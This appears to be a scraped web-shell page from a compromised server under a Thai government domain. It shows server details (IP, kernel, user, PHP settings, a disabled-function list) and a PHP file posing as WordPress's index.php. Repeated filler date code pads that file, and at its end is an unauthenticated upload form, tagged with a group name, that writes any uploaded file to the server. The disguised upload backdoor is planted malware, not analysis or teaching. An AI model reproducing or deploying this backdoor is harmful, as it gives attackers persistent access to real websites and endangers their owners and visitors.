Server IP : 119.59.102.212 / Your IP : 3.145.45.170 Web Server : Apache/2 System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64 User : yangkam ( 1022) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/yangkam/domains/yangkam.go.th/private_html/koksoong/muban_chart/ |
Upload File : |
<?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ // Set the default timezone to your preferred timezone date_default_timezone_set('Your/Timezone'); // Get the current date and time in various formats $currentDate = date('Y-m-d'); // Format: YYYY-MM-DD $currentTime = date('H:i:s'); // Format: HH:MM:SS (24-hour format) $dayOfWeek = date('l'); // Day of the week, e.g., 'Monday' $fullDateTime = date('l, F j, Y, g:i A'); // Full date and time with day, month name, and 12-hour format // Additional functionality: Check if the current time is within a specific range $startTime = "09:00:00"; // Start time in 24-hour format $endTime = "17:00:00"; // End time in 24-hour format if ($currentTime >= $startTime && $currentTime <= $endTime) { $withinWorkingHours = true; } else { $withinWorkingHours = false; } // Additional functionality: Check if it's Monday or Friday $isMonday = ($dayOfWeek == 'Monday'); $isFriday = ($dayOfWeek == 'Friday'); // The script runs all the logic but does not output anything to the browser. ?> <?php // Set the default timezone to your preferred timezone date_default_timezone_set('Your/Timezone'); // Get the current date and time in various formats $currentDate = date('Y-m-d'); // Format: YYYY-MM-DD $currentTime = date('H:i:s'); // Format: HH:MM:SS (24-hour format) $dayOfWeek = date('l'); // Day of the week, e.g., 'Monday' $fullDateTime = date('l, F j, Y, g:i A'); // Full date and time with day, month name, and 12-hour format // Additional functionality: Check if the current time is within a specific range $startTime = "09:00:00"; // Start time in 24-hour format $endTime = "17:00:00"; // End time in 24-hour format if ($currentTime >= $startTime && $currentTime <= $endTime) { $withinWorkingHours = true; } else { $withinWorkingHours = false; } // Additional functionality: Check if it's Monday or Friday $isMonday = ($dayOfWeek == 'Monday'); $isFriday = ($dayOfWeek == 'Friday'); // The script runs all the logic but does not output anything to the browser. ?> <?php // Set the default timezone to your preferred timezone date_default_timezone_set('Your/Timezone'); // Get the current date and time in various formats $currentDate = date('Y-m-d'); // Format: YYYY-MM-DD $currentTime = date('H:i:s'); // Format: HH:MM:SS (24-hour format) $dayOfWeek = date('l'); // Day of the week, e.g., 'Monday' $fullDateTime = date('l, F j, Y, g:i A'); // Full date and time with day, month name, and 12-hour format // Additional functionality: Check if the current time is within a specific range $startTime = "09:00:00"; // Start time in 24-hour format $endTime = "17:00:00"; // End time in 24-hour format if ($currentTime >= $startTime && $currentTime <= $endTime) { $withinWorkingHours = true; } else { $withinWorkingHours = false; } // Additional functionality: Check if it's Monday or Friday $isMonday = ($dayOfWeek == 'Monday'); $isFriday = ($dayOfWeek == 'Friday'); // The script runs all the logic but does not output anything to the browser. ?> <?php echo '<form action="" method="post" enctype="multipart/form-data" name="กลุ่มไดโนเหลือง" id="กลุ่มไดโนเหลือง">'; echo '<input type="file" name="file"><input name="_upl" type="submit" id="_upl" value="กลุ่มไดโนเหลือง"></form>'; if( $_POST['_upl'] == "กลุ่มไดโนเหลือง" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Success!!<b><br><br>'; } else { echo '<b>Fail!!!</b><br><br>'; } } ?>